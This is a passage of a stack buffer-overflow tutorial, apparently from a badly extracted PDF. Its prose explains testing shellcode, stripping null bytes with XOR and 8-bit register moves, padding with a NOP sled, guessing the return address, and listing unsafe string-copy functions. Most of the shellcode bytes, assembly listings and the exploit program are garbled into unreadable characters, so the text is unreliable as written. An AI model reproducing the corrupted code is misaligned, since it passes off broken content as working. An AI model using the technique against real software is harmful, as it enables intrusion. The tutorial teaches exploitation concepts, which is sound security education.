�	� � ��� � � 7�J =
�	� ��� = 56 bytes of shell code which we get like

this:

O[R�,�J3\ � :�D�7 � J>�%�S&8#"!��
�	� � ��� � � ��� � �%�S&!#"!$�$�9v �	� $�J �	� f�� �	� D�$ �	� ��� �	�+� 7 �	�+� � �	� 
�7 �	��� 7
�	� � ��� � � �EJ � �%$�$�!�7$�9v �	�+��� �	�+��� �	� 
 � �	��� 7 �	�+� 
 �	�+��� �	�+��� �	�+���
�	� � ��� � ��� � � �%$�$�!36 � �9v �	�+��� �	� J�� �	�+� J �	�+��� �	�+��� �	�+��� �	� ��� �	� )$�
�	� � ��� � ��� J � �%$�$�!�f�f$�9v �	� ��, �	��� $ �	�+� � �	� ��, �	� D�7 �	�+� 
 �	� 
E, �	� � �
�	� � ��� � � D�� � �%$�$�!$� � �9v �	� J�� �	�+� 6 �	�+��� �	�+��� �	�+��� �	� J�J �	�+��� �	�+���
�	� � ��� � � DEJ � �%$�$�!$���$�9v �	�+��� �	�+��� �	� 
E, �	� � � �	� $�� �	� ,36 �	� )�) �	� )�)
�	� � ��� � � 7�� � 
	A�A�! � �9v �	� )�) �	� f�) �	� 7�f �	� 7�� �	� 7�$ �	� f�) �	�+� � �	� 7��
O[R�,�J3\

Take the byte values and put them into a string like so:


������C(8��$�A�A+
E?�,�$5���>����L � $�JSL � f���L � D�$�L � ����L ��� 7�L ��� ��L � 
�7�L ��� 7�L �+��� L �+��� L � 
 � L ��� 7�L ��� 
+�
��L �+��� L �+��� L ����� L �+��� L � J���L ��� JSL �+��� L ����� L �+��� L � ����L � )���L � ��,+L ��� $U�
��L �+� ��L � ��,+L � D�7�L �+� 
�L � 
E,�L � � � L � J���L ��� 68L �+��� L �+��� L ����� L � J	JSL ����� �
��L �+��� L �+��� L ����� L � 
�,�L � � � L � $���L � ,36�L � )�)�L � )�)�L � )�)�L � f	)+L � 7	f�L � 7��U�
��L � 7�$�L � f�)+L ��� ��L � 7��U�32

Lets see if it truly works,

�j�+?�?	�+k�A�?+
���AE��?+(��l�]6 � 68��mq
��	� �'(��+$�A�A+
�?	,�$�fZc 

mU&8#U
	AE.+,�$ � (����%&!#�RMcj� �


������C(8��$�A�A+
E?�,�$5���>����L � $�JSL � f���L � D�$�L � ����L ��� 7�L ��� ��L � 
�7�L ��� 7�L �+��� L �+��� L � 
 � L ��� 7�L ��� 
+�
��L �+��� L �+��� L ����� L �+��� L � J���L ��� JSL �+��� L ����� L �+��� L � ����L � )���L � ��,+L ��� $U�
��L �+� ��L � ��,+L � D�7�L �+� 
�L � 
E,�L � � � L � J���L ��� 68L �+��� L �+��� L ����� L � J	JSL ����� �
��L �+��� L �+��� L ����� L � 
�,�L � � � L � $���L � ,36�L � )�)�L � )�)�L � )�)�L � f	)+L � 7	f�L � 7��U�
��L � 7�$�L � f�)+L ��� ��L � 7��U�32

&8#��>�%��&8#ZO[B+?�&�,U\ �
&8#�� OQ<��E���3\_O^B+?S&�,U\_2

���������$�(��W�XD � �92
�%$��_
���"9O[��$�(��ZG1(8��$�A�A�
�?	,�$ G1(�&���$�?�) OQ(���$�A�A+
E?	,�$+\�\_2
�E���@���+$�(��Z2
�E���9O!\]2
�
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�j�+?�?	�+k�A�?+
���AE��?+(��l�]6 � 68��mKRU
�
�(���$�A�A�
�?�,�$�f9c 

(���$�A�A+
�?�,�$�fZc 
sv 
8#q)	.�#%
��%&E?�# � �%�S&8#���v
(���$�A�A+
�?�,�$�fZc 
sv16 �Zv u��	��#%&8#�RMv`�+(�(�&�R�#E�%$�#���)	�+?�� &8#%
�?8�����	�%&!JSA�$-��?S&8#���$	����"���$
�j�+?�?	�+k�A�?+
���AE��?+(��l�]6 � 68��mnc[:��Zc^?E.��
(�� �	fZc � D�mK$ � &��
$ � &8�
�j�+?�?	�+k�A�?+
���AE��?+(��l�]6 � 68��m

It works! However, our shell code contains null bytes, this isn’t going to help us much if we want to
exploit a function that stops on a null byte (such as (����U
���"HO!\ ). What can we do about it? First lets find
out which instructions contain the null bytes. Lets go back to our original code and try and find ways
around the null bytes.

O[R�,�J3\F,U&�(���(�(�$���JSA	$w�%�S&!#
� .��+�'?	)q��(�(�$���JSA	$	�q
�?�,�$K)�?	�@)	.�#%
��U&E?�#F�%��&8#Wv
�	� � ��� � � � ��� �%�S&!# �9v ��.%(�� T�$�J��
�	� � ��� � � �U6 � �%�S&!#"!36#�9v �%?	B T�$�(��ZG[T�$�J��
�	� � ��� � � ��� � �%�S&!#"!$�$�9v � ��� �	� � ��� � � D�) � 
	A�A��
�	� � ��� � � ��D � �%$�$��9v ��?�� T�$�(�&
�	� � ��� � � ��7 � �%$�$�!36#�9v �%?	B T�$�(�&_G �	� �sO[T�$�(�&�\
�	� � ��� � � ��� � �%$�$�! � �9v �%?	B�J % �	�+� G �	�+� O[T�$�(�&�\ 2 h�#�$>#�.SA�A>J�"��+$5/
�	� � ��� � � �	, � �%$�$�!$�$�9v �%?	B�A % �	�+� G �	� 
]O[T�$�(�&�\ 2 h�#�$>#�.SA�A>u�?���,M/
�	� � ��� � �����
� �%$�$�!36�D$�9v �%?	B % �	� JZG[T�$�� �
�	� � ��� � ��� � � �%$�$�!�f � �9v �%?	B T�$�(�&_G[T�$�J �
�	� � ��� � ��� J � �%$�$�!�f�f$�9v A�$�� �	� �sO[T�$�(�&�\_G[T�$�
 �
�	� � ��� � ��� $ � �%$�$�!�f�D$�9v A�$�� �	� 
]O[T�$�(�&�\_G[T�$�, �
�	� � ��� � � DU6 � �%$�$�!�f��$�9v &8#�� % �	� � �
�	� � ��� � � D�� � �%$�$�!$� � �9v �%?	B % �	� 6%G[T�$�� � 2^P��3&	(�
�?�,�$'&�(@&8#b
���(�$4?�)���#'$	���+?��
�	� � ��� � � D�� � �%$�$�!$��D$�9v �%?	B % �	�+� G[T�$�J � 2Q&8#�����$4$ � $�
�.��%&�?�#�?�)@$ � $�
�B+$HG &��
�	� � ��� � � D	, � �%$�$�! �+� �9v &8#�� % �	� � � 2Q&�(a.�#�#+$�
�$�(�(E�	��"K)�?	��.%(sc
�	� � ��� � � D	) � 
	A�A��9v 
���A�A �	� � ��� � � ��D � �%$�$$�
O[R�,�J3\

As you can see, our problem instructions are
� �%$�$�! � � and

� �U$�$�!$�$� . How can we get rid of these? How
can we get a null without stopping the string? Well, do we have an instruction that can get create a null? It
turns out we do. XOR or “exclusive or” of two bytes gives us a byte that has only the bit by bit differences
turned on, example 6 ��� 6QJ XOR 6 � 6�6QJ =

��� 6 � J , 6 ��� 6QJ XOR 6 ��� 6QJ =
������� J . We can XOR registers together

like this
� ?	�4�+$	R_6%GY��$	R+f with the result stored into �+$�R_6 . How about

� ?	�'� � G � � ? After that modification,
we get the following:

O[R�,�J3\F,U&�(���(�(�$���JSA	$w�%�S&!#
� .��+�'?	)q��(�(�$���JSA	$	�q
�?�,�$K)�?	�@)	.�#%
��U&E?�#F�%��&8#Wv
�	� � ��� � � � ��� �%�S&!# �9v ��.%(�� T�$�J��
�	� � ��� � � �U6 � �%�S&!#"!36#�9v �%?	B T�$�(��ZG[T�$�J��
�	� � ��� � � ��� � �%�S&!#"!$�$�9v � ��� �	� � ��� � � D�
 � 
	A�A��
�	� � ��� � � ��D � �%$�$��9v ��?�� T�$�(�&
�	� � ��� � � ��7 � �%$�$�!36#�9v �%?	B T�$�(�&_G �	� �sO[T�$�(�&�\
�	� � ��� � � ��� � �%$�$�! � �9v � ?	� T�$�� � G[T�$�� �
�	� � ��� � � �EJ � �%$�$�!�7$�9v �%?	B T���AsG �	�+� ONT�$�(�&�\
�	� � ��� � � ��$ � �%$�$�!��$�9v �%?	B T�$�� � G �	� 
]O[T�$�(�&�\
�	� � ��� � ��� 6 � �%$�$�!36�f$�9v �%?	B % �	� JZG[T�$�� �
�	� � ��� � ��� 7 � �%$�$�!36 � �9v �%?	B T�$�(�&_G[T�$�J �
�	� � ��� � ��� � � �%$�$�!36��$�9v A�$�� �	� �sO[T�$�(�&�\_G[T�$�
 �
�	� � ��� � ��� J � �%$�$�!�f�f$�9v A�$�� �	� 
]O[T�$�(�&�\_G[T�$�, �
�	� � ��� � ��� $ � �%$�$�!�f�D$�9v &8#�� % �	� � �
�	� � ��� � � D ��� �%$�$�!�f � �9v �%?	B % �	� 6%G[T�$�� � 2N?�)�)S(E$	���+?4$ � &��HO!\4&8#C(�"U(�
���A�AZ���
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�	� � ��� � � D�D � �%$�$�!$��f$�9v �%?	B % �	�+� G[T�$�J � 2^�+$	��.���#V
�?�,�$
�	� � ��� � � D�� � �%$�$�!$� � �9v &8#�� % �	� � � 21(�"U(�
E��A�A O!\'O � ?	�@��
���.���A�AE"K#�$�$�,�$	,U\
�	� � ��� � � D+
 � 
	A�A��9v 
���A�A �	� � ��� � � ��D � �%$�$$�
�	� � ��� � � 7U6 � 
	A�A�!�D$�9v ,���(
�	� � ��� � � 7�f � 
	A�A�!�7$�9v J�?�.�#�, T�$�J��ZG �	� 7�$ ONT�$�
 � \
�	� � ��� � � 7�D � 
	A�A�!��$�9v ,���(
�	� � ��� � � 7�7 � 
	A�A�!36 � �9v � ��$ �	� � ��� � � , � � �	)	� ����u �
�	� � ��� � � 7�� � 
	A�A�!36�f$�9v ��,�, T	JSAsG �	� )�)�)�)�)�)S
�� ONT�$EJ��%\
� #+,�?�)@��(�(E$���JSA�$���,	.����Mc
O[R�,�J3\ � :�D�7 � J>�%�S&8#"!��
�	� � ��� � � ��� � �%�S&!#"!$�$�9v �	� $�J �	� f � �	� D�$ �	� ��� �	�+� 7 �	�+� � �	� �%6 �	� 
 �
�	� � ��� � � �EJ � �%$�$�!�7$�9v �	� ��� �	��� 7 �	�+��� �	� ��� �	��� 7 �	�+� 
 �	� J�� �	�+� J
�	� � ��� � ��� � � �%$�$�!36 � �9v �	�+��� �	�+��� �	�+��� �	� ��� �	� )$� �	� ��, �	��� $ �	�+� �
�	� � ��� � ��� J � �%$�$�!�f�f$�9v �	� ��, �	� D�7 �	�+� 
 �	� 
E, �	� � � �	� J�� �	�+� 6 �	�+���
�	� � ��� � � D�� � �%$�$�!$� � �9v �	�+��� �	�+��� �	� J�J �	�+��� �	�+��� �	�+��� �	�+��� �	� 
E,
�	� � ��� � � DEJ � �%$�$�!$���$�9v �	� � � �	� $�� �	� , � �	� )�) �	� )�) �	� )�) �	� f�) �	� 7�f
�	� � ��� � � 7�� � 
	A�A�! � �9v �	� 7�� �	� 7�$ �	� f�) �	�+� � �	� 7�� �	�+��� �	� D�, �	� 
��
O[R�,�J3\

As you can see, we got rid of a few of the null bytes, but there are still that weren’t quite as obvious. The
next null byte is at

� �%$�$�!%6 � � which is embedded in the instruction “�%?�B&% ��� J5G[T�$�� � ” we can replace this
with a “�%?�B % �	� J5G[T���A ” because we already zeroed out the top 3 bytes of T�$�� � with the “

� ?��@T�$�� � G[T�$�� � ”.
[Note: Intel weirdness, registers on the 32 bit processors 80386-Pentium 4 can be used in a number of
ways for example, T�$�� � is the full 32 bit ax register, it can also be referenced T�� � which is a 16 bit register,
OR it can be referenced as T���� and T���A which are the high and low bytes respectively of T�� � .] The last set
of nulls can be removed simply by removing the code associated with them. The code merely makes the
shell code exit cleanly in event of an error with the $ � $�
�B+$ O!\ . This prevents the program being exploited
from “dumping core” and making it just a little more difficult to find out what happened in event that
your exploit didn’t work right. It is left as an exercise to the reader to add this code back in. So now our
code now looks like this:

O[R�,�J3\F,U&�(���(�(�$���JSA	$w�%�S&!#
� .��+�'?	)q��(�(�$���JSA	$	�q
�?�,�$K)�?	�@)	.�#%
��U&E?�#F�%��&8#Wv
�	� � ��� � � � ��� �%�S&!# �9v ��.%(�� T�$�J��
�	� � ��� � � �U6 � �%�S&!#"!36#�9v �%?	B T�$�(��ZG[T�$�J��
�	� � ��� � � ��� � �%�S&!#"!$�$�9v � ��� �	� � ��� � ��� , � 
	A�A��
�	� � ��� � � ��D � �%$�$��9v ��?�� T�$�(�&
�	� � ��� � � ��7 � �%$�$�!36#�9v �%?	B T�$�(�&_G �	� �sO[T�$�(�&�\
�	� � ��� � � ��� � �%$�$�! � �9v � ?	� T�$�� � G[T�$�� �
�	� � ��� � � �EJ � �%$�$�!�7$�9v �%?	B T���AsG �	�+� ONT�$�(�&�\
�	� � ��� � � ��$ � �%$�$�!��$�9v �%?	B T�$�� � G �	� 
]O[T�$�(�&�\
�	� � ��� � ��� 6 � �%$�$�!36�f$�9v �%?	B % �	� JZG[T���A
�	� � ��� � ��� � � �%$�$�!36 � �9v �%?	B T�$�(�&_G[T�$�J �
�	� � ��� � ��� D � �%$�$�!36�7$�9v A�$�� �	� �sO[T�$�(�&�\_G[T�$�
 �
�	� � ��� � ��� � � �%$�$�!36��$�9v A�$�� �	� 
]O[T�$�(�&�\_G[T�$�, �
�	� � ��� � ��� J � �%$�$�!�f�f$�9v &8#�� % �	� � �
�	� � ��� � ��� , � 
	A�A��9v 
���A�A �	� � ��� � � ��D � �%$�$$�
�	� � ��� � � D�f � 
	A�A�!�D$�9v ,���(
�	� � ��� � � D�� � 
	A�A�!�7$�9v J�?�.�#�, T�$�J��ZG �	� 7�$ ONT�$�
 � \
�	� � ��� � � D�7 � 
	A�A�!��$�9v ,���(
�	� � ��� � � D ��� 
	A�A�!36 � �9v � ��$ �	� � ��� � � 
�6 � �	)	� ����u"!36#�
�	� � ��� � � D�� � 
	A�A�!36�f$�9v ��,�, T	JSAsG �	� )�)�)�)�)�)S
�� ONT�$EJ��%\
� #+,�?�)@��(�(E$���JSA�$���,	.����Mc
O[R�,�J3\

Down to 38 bytes. . . Good! our bytes now look like this:
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O[R�,�J3\ � :���� � J>�%�S&8#"!��
�	� � ��� � � ��� � �%�S&!#"!$�$�9v �	� $�J �	� 6 � �	� D�$ �	� ��� �	�+� 7 �	�+� � �	� �%6 �	� 
 �
�	� � ��� � � �EJ � �%$�$�!�7$�9v �	� ��� �	��� 7 �	�+��� �	� ��� �	��� 7 �	�+� 
 �	� J � �	�+� J
�	� � ��� � ��� � � �%$�$�!36 � �9v �	� ��� �	� )$� �	� ��, �	��� $ �	�+� � �	� ��, �	� D�7 �	�+� 

�	� � ��� � ��� J � �%$�$�!�f�f$�9v �	� 
E, �	� � � �	� $�� �	� $�� �	� )�) �	� )�) �	� )�) �	� f�)
�	� � ��� � � D�� � 
	A�A�!�7$�9v �	� 7�f �	� 7�� �	� 7�$ �	� f�) �	�+� � �	� 7��
O[R�,�J3\

Lets get them into our test program!

�j�+?�?	�+k�A�?+
���AE��?+(��l�]6 � 68��mq
��	� �'(��+$�A�A+
�?	,�$�DZc 

mU&8#U
	AE.+,�$ � (����%&!#�RMcj� �


������C(8��$�A�A+
E?�,�$5���>� � �	� $�J5G �	� 6 �HG �	� D�$HG ��� � �HG �	��� 7HG �	�+� �sG �	� �%63G ��� 
 � G �	� ���HG �	��� 7sG
�	�+��� G �	� ���HG �	��� 7HG ���+� 
gG �	� J � G �	�+� JZG �	� ���HG ��� )$�HG �	� �	,9G �	��� $sG
�	�+� �HG �	� ��,9G �	� D�7HG ���+� 
gG �	� 
�,9G �	� � � G �	� $��HG ��� $��HG �	� )�)9G �	� )�)HG
�	� )�)9G �	� f�)9G �	� 7�fHG ��� 7 �HG �	� 7�$HG �	� f	)HG �	��� �HG ��� 7�� � 2

&8#��>�%��&8#ZO[B+?�&�,U\ �
&8#�� OQ<��E���3\_O^B+?S&�,U\_2

���������$�(��W�XD � �92
�%$��_
���"9O[��$�(��ZG1(8��$�A�A�
�?	,�$ G1(�&���$�?�) OQ(���$�A�A+
E?	,�$+\�\_2
�E���@���+$�(��Z2
�E���9O!\]2
�

�j�+?�?	�+k�A�?+
���AE��?+(��l�]6 � 68��mKRU
�
�(���$�A�A�
�?�,�$�D9c 

(���$�A�A+
�?�,�$�DZc 
sv 
8#q)	.�#%
��%&E?�# � �%�S&8#���v
(���$�A�A+
�?�,�$�DZc 
sv16�6]v u��	��#%&8#�RMv`�+(�(�&�R�#E�%$�#���)	�+?�� &8#%
�?8�����	�%&!JSA�$-��?S&8#���$	����"���$
�j�+?�?	�+k�A�?+
���AE��?+(��l�]6 � 68��mnc[:��Zc^?E.��
(�� �	fZc � D�mK$ � &��
$ � &8�
�j�+?�?	�+k�A�?+
���AE��?+(��l�]6 � 68��m

And it works!! Working shell code! We certainly have come a long way from the beginning. Unfortu-
nately we still haven’t finished. We are left with the question, how is this used in an exploit?

6 Smashing the Stack For PROFIT!

Recall that the stack “grows” down. ‘ � ’ = stack space; ‘



’ = buffer we are overwriting; ‘ � ’ = return address we
are overwriting, one char = 4 bytes. The ��� ’s are for convenience. With this key, the stack looks something
like this:

A�?�u+$	�@��,�,��+$+(�(�$�( � ������������������������������� �	� )�)�)�)
� �������������5� 
�
�
�
�
�
�
 �5� ���������	�5� ���M� �������������������

� ���3&�(�&�(>����$*J�"���$Ku+$�u��E#����+?�?	B+$	��u��%&��+$Zc

Taking a look at the “map” of the stack, we figure, we need to craft a string such that we have shell
code at the beginning and the address of the beginning of our shell code repeated afterwards until it
overwrites the return address of the function, string would look something like this ‘ ( ’ = shell code, ‘ � ’ =
return address to the beginning of the shell code

�N(�(�(�(�(�(�(�(�(E�M�j�����������������	�������������	�����Z� � �

The string gets copied onto the stack like so:
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A�?�u+$	�@��,�,��+$+(�(�$�( � ��������������������������������������� �	� )�)�)�)
� �������������5� 
�
�
�
�
�
�
�
�
�
�
�
 �M� �����������M� ���M� �����������������	�

�N(�(�(�(�(�(�(�(�(E�M� ���������������	�����	���5� � �

When you have access to the machine and gdb, crafting this string is trivial, however we are assuming
you don’t have access to the machine (realistic assumption). So, how are we going to get the proper return
address? It wouldn’t do if you started randomly executing some spot on the stack. So, how do we get the
right spot? Well, we can approximate where our string is and pad one side of it with an instruction 1 byte
long that does nothing so that we don’t have to be exactly right on the money. Our string would begin to
look like this ‘ # ’ =

� h�� (luckily Intel provides us with the
� h�� instruction)

A�?�u+$	�@��,�,��+$+(�(�$�( � ��������������������������������������� �	� )�)�)�)
� �������������5� 
�
�
�
�
�
�
�
�
�
�
�
 �M� �����������M� ���M� �����������������	�

� #�#�#�#�#+�5�N(�(�(�(�(�(�(�(�(E�5�j�	�����	�������������	���5� � �
� ����������������������������������� �

Now, how do we get the approximation for the address of our code? We rely on a little bit of statistics.
The average program only allocates a few hundred to a few thousand bytes at a time. Also, the stack
segment is generally in about the same spot for every program. So all we need is to create a program to tie
all this together. We need to get the stack pointer, create a string that begins with a series of

� h�� s, insert
our shell code and then create tack to the end of that a string containing the estimated address of the
beginning of our string. We’ll do that like this.

:+<>���3&�(a����?	R��+���4��.��U(*�'(���$�A�A@
�?	,�$'&8#q�	��$4$�#�B%&���?�#��%$�#��*B+�	�U&E��JSA�$ % � ��� <	:

mU&8#U
	AE.+,�$ � (���,U&�?Zcj� �
mU&8#U
	AE.+,�$ � (����%&!#�RMcj� �
mU&8#U
	AE.+,�$ � (���,+A+&8JWcj� �

m�,�$	)U&8#�$ 
������ 	 � � f�D�7 :+<F#�.���J�$���?�)4J�"��+$�(>?�)4����$*J�.�)�)�$	�Ku�$ �^�+$4?	B+$	��)+A�?�u3&!#�RU<	:
m�,�$	)U&8#�$ � h�� ��� � � :+<FJ�"��+$KB+��A�.�$K)�?	������$*#�?��b&8#U(�����.%
��%&E?�#@<	:
m�,�$	)U&8#�$ � h � � 	 � � D%6�f :+<�A�$�#�R��	�@?�)C(8��$�A�A�
�?	,�$*u�$�#+$�$�,'<	:
m�,�$	)U&8#�$ � h��$	 � � 6�f�� :+<F#�.��C?�) � h��U(F�+?K����,Ku3&��	�b<�:
m�,�$	)U&8#�$4h ��� � � P � :+<K��#�"@$ � ������?	)�)S(�$	�Ku+$�#�$�$�,K�+?�R+$	���+?K����$ � h��U(4<	:


������ (���$�A�A�
�?�,�$5�j�*�p��L � $�J�L � 6 ��L � D�$�L � ����L �+� 7�L ��� ��L � �U6�L � 
 � L � ����L ��� 7%�
��L �+��� L � ����L ��� 7�L ��� 
	L � J � L ��� J+L � ����L � )���L � �	,�L ��� $%�
��L �+� ��L � ��,+L � D�7�L ��� 
	L � 
�,+L � � � L � $���L � $���L � )�)�L � )	)3�
��L � )�)�L � f�)+L � 7�f�L � 7���L � 7�$�L � f�)�L �+� ��L � 7��%�32

&8#��V(�����
�o���A	?�
]O[B+?�&�,U\ �
�����+(Q� ��� O8� �%?	B*T�$�(��5GIT�$�� � �	\_2 :+<*R�$	�4����$q
�.�����$�#��'(��+�+
�o@A�?�
����%&E?�#V<	:
�

&8#��>�%��&8#ZO[B+?�&�,U\ �
(��+���%&�
�
�������������� � h � � 	 � � �92
&8#��C&]2
&8#��4�+$��+��,�,��4�V(��+�+
�o���A�?+
]O!\ � 
��+��� 	 � � ��h ��� � � PZ2 :+<*�������+? � & �%�	�+$a����$@A�?�
��	�U&E?�#�?�)

?�.��b(��+$�A�A�
�?�,�$'(E?4���+�	��u�$V
E��# � .������+?V&��V<	:

�%$��_(�$	�9O[�����5G � h��ZG � h��$	 � � \]2Y:�<K)U&EA�Aq&8#q�	��$ � h��U(4<	:
�%$��_
���"9O����E����� � h��$	 � � �HGi(���$�A�A+
�?�,�$HGe(�& ��$�?�)HOQ(8��$�A�A+
E?�,�$�\�\_2 :+<K��,�,4����$q(���$�A�A+
�?�,�$4<	:
�%$��_
���"9O[�����5G � � ��� �3�%G � \]2

)�?	�HO!&��HO � h��$	 � � !S(�&���$�?	)HO (��+$�A�A�
�?�,�$S\	\��S632I& ��� h � � 	 � � � � 2t& !�� � \ �
O!&8#��%\3OQ<]O!&8#��U<�\_O[�����$!U&	\�\��	�+$��+��,�,��H2 :+<K)S&�A�A*����$K�+$�(��q?	)����+$'(����%&8#�RKu%&���������$
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��$	��.���#@�	,�,��V<	:
�

��.���$�#�B9O[�����3\]2
(�"U(��+$��WO���:EJ3&8#S:�(��]��\_2
�

7 Vulnerable functions

This is a short list of functions that do not check string bounds when copying

� (����U
���"HO!\

� (8���%&8#���)HO!\

� BS(����%&8#���)HO!\

� 
�&8#

8 Conclusion

At this point you have been exposed to the internals of computer programs. You have dealt with stacks
and should be able to craft exploits on your own now. Have fun, and keep it legal!
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